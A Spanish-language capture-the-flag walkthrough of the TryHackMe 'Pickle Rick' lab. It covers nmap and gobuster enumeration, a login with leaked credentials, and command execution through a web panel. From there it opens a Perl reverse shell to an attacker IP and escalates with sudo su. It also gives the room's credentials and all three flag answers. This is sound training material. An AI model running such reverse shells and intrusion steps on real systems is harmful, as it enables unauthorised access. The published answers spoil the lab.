PickeRIck

Información

IP : 10.10.33.83
Nombre: Pickle Rick
Meta: **Encontrar 3 ingredientes**
LInk: https://tryhackme.com/room/picklerick

Usuario: R1ckRul3s
Contraseña: Wubbalubbadubdub

Ingrediente 1: mr. meeseek hair

Ingrediente 2: 1 jerry tear

Ingrediente 3: fleeb juice

Enumeración

La enumeración de una máquina siempre la divido en dos:

- Un escaneo **rápido**.
- Un escaneo **profundo**.

Antes de realizar un escaneo de puertos me gusta saber

a qué me estoy enfrentando,
así mismo, saber si es una máquina LInux o Windows y para saber esto solo necesito
enviar un paquete ICMP con ping.

pinc -c 1 10.10.33.83 => Linux

Sé que es una máquina LInux porque el TTL es 64, pero si fuera una máquina WIndows
el TTL sería igual a 128.

Escaneo rápido

Este escaneo lo hago con el propósito de encontrar solo los puertos **ABIERTOS**, además
de que uso nmap de la forma más rápida posible.

nmap -p- -sS --min-rate 5000 -vvv --open 10.10.33.83 -oA enum/all/allPorts

Me gusta exportar los resultados en todos los formatos que nmap ofrece, ya que para
los clientes algún formato puede ser más útil.

Puertos abiertos:

- 22 SSH
- 80 HTTP

Escaneo profundo

Una vez que tengo solo los puertos **ABIERTOS**, me agrada obtener las versiones de los
servicios que están en ejecución y así no perder tiempo haciendo un solo escaneo.

nmap -sC -sV -vvv -T5 -p 22,80 10.10.33.83 -oA enum/deep/deepScan

Versiones:

- 22 SSH OpenSSH 7.2p2 Ubuntu 4ubuntu2.6 (Ubuntu Linux; protocol 2.0)
- 80 HTTP Apache httpd 2.4.18 ((Ubuntu))

Con el escaneo profundo no solo obtuve las versiones también el sistema operativo.

Información sobre el servidor web

Además me encanta saber que tecnologías están en ejecución en el servidor web y para eso
hay dos herramientas muy útiles:

- Whatweb
- Wappalyzer

La primera es una herramienta de terminal y la uso para obtener información sencilla sobre
el servidor web

whatweb http://10.10.33.83

Las tecnologías que usa la página son:

- Bootstrap 3.4.0
- JQuery 3.3.1
- Apache 2.4.18

Las versiones pueden ser muy importantes ya que en un entorno real podrían tener vulnerabilidades
que YA han sido explotadas

Explorar la página web

Ahora que ya sé que tecnologías se usan ,me gustaría obtener más información sobre la web y
enumerar directorios en lo que exploro un poco la página web.

Una vez entrando observo que está el siguiente mensaje:

--
Listen Morty... I need your help, I've turned myself into a pickle again and this time I can't change back!

I need you to ***BURRRP***....Morty, logon to my computer and find the last three secret ingredients to finish my pickle-reverse potion. The only problem is, I have no idea what the ***BURRRRRRRRP***, password was! Help Morty, Help!
--

Además mientras exploro la página web realicé una búsqueda directorios con gobuster

gobuster -u http://10.10.33.83 -w ~/SecLists-master/Discovery/Web-Content/common.txt -t 100 -o enum/directories.txt

Directorios:

Los directorios que encontró gobuster son:

- assets
- index.html
- robots.txt
- login.php

En assets NO hay gran cosa ni en index, solo en el archivo robots, hay algo que podría ser la contraseña!

Además, en el código fuente de la página hay un comentario con un usuario!

Intenté iniciar sesión con SSH pero necesito una clave pública, así que use las contraseñas para iniciar sesión en login.php y funcionó.

Ahora tengo que encontrar la forma de obtener ejecución remota de comandos.

FootHold

Panel de ejecución de comandos:

Una vez que inicias sesión hay un panel en el que se pueden ejecutar comandos; en primer lugar me gusta probar con comandos típicos, por ejemplo:

- ls
- cat
- whoami
- uname -a
- pwd

Algunos comando NO pueden ser ejecutados así que tuve que usar sus alternativas, pero usando
el comando “ls” ya se puede encontrar información importante.

El directorio en el que se ejecutan los comandos es: **/var/-www/html** y ahí existen algunos archivos interesantes:

- Sup3rS3cretPickl3Ingred.txt, en este esta el primer ingrediente!
- clue.txt, en este nos dan una pista!

Buscaŕe en otros directorios, ya que puedo usar && para ejecutar varios comandos a la vez!

Hay DOS usuarios en el servidor:

- rick
- ubuntu

En ubuntu no hay nada pero en rick si, pero el nombre del archivo tiene espacios y tendré que escaparlos, después de una pequeña investigación usé el siguiente comando:

less “/home/rick/second ingredients” y listo obtuve el segundo ingrediente.

Remote Command Execution

Ahora tengo que obtener acceso a la máquina, así que intentaré obtener una shell inversa, usé la cheatsheet de pentestmonkey hasta que funcionó una de ellas con perl

perl -e 'use Socket;$i="10.6.96.118";-
$p=8080;socket(S,PF_INET,SOCK_STREAM,getprotoby
{open(STDIN,">&S");open(STDOUT,">&S");open(STD
bin/sh -i");};'

Y para esto debo tener netcat escuchando para recibir la conexión!

nc -lvnp 8080

Y listo, ahora necesito escalar privilegios.

PrivESc

Escalar Privilegios

Ahora que estoy dentro del sistema intentaré obtener root, con el comando “sudo -l” me di cuenta de que el usuario www-data puede ejecutar TODO como root, así que me cambiaré a root.

sudo su

Y ahora somos el usuario con máximos privilegios sobre el sistema!

Para encontrar el tercer ingrediente necesitamos dirigirnos al directorio /root y ahí está.